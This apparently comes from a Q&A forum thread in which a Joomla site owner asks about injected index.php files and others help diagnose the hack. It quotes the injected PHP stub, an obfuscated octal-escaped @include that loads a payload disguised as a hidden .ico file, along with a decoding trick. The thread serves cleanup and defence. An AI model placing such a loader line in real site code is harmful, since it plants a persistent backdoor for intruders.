Some index.php files generating or comes automatically in my doucment root folder

Question

Index.php files comes automatically

i scan the index.php files with RSfirewall. it is in joomla 2.5

<?php
/*df76c*/

@include "\057ho\155e/\145ar\164ht\157he\141ve\156co\057pu\142li\143_h  \164ml\057li\142ra\162ie\163/f\060f/\151nt\145gr\141ti\157n/\05659\06725\06435\056ic\157";

/*df76c*/

You've been pwn'd. Check your server for a file at `/home/earthtoheavenco/public_html/libraries/f0f/integration/.59725435.ico` - this is almost certainly a hacker's malware. — Niet the Dark Absol, Feb 08 '19 at 09:18
https://codex.wordpress.org/FAQ_My_site_was_hacked - WP reference for the same — mujuonly, Feb 08 '19 at 09:19
is there any method so i can remove this malware totally from my code ?? — Anil Jahangir, Feb 08 '19 at 09:23
Unfortunately - no. What you could do is rollback from a backup if you've been keeping them. — Marko Mijailovic, Feb 08 '19 at 09:31

score 0 · Answer 1 · answered Feb 08 '19 at 09:51

0

This looks like your website is hacked. Please change your server credentials and database credentials first.

if you want to check the which file is called, you simply echo the statement and you will get that file.

<?php
/*df76c*/

echo "\057ho\155e/\145ar\164ht\157he\141ve\156co\057pu\142li\143_h  \164ml\057li\142ra\162ie\163/f\060f/\151nt\145gr\141ti\157n/\05659\06725\06435\056ic\157";

/*df76c*/
?>

This will return your server path with the infected file main script.

/home/earthtoheavenco/public_h tml/libraries/f0f/integration/.59725435.ico

Please delete all such files from your server.

Hope this will help.

answered Feb 08 '19 at 09:51

Bhavin Solanki

4,740
3
26
46

its all done but when i delete this files and scan with RSfirewall after 2-3 days it comes again. – Anil Jahangir Feb 08 '19 at 09:57
@AnilJahangir some of the ports on your server are open and change file permission which allow publicaly write access – Bhavin Solanki Feb 08 '19 at 09:58
how can i check this publicaly write access in my WHM. is there any command or option in WHM. – Anil Jahangir Feb 08 '19 at 11:55

Some index.php files generating or comes automatically in my doucment root folder

1 Answers1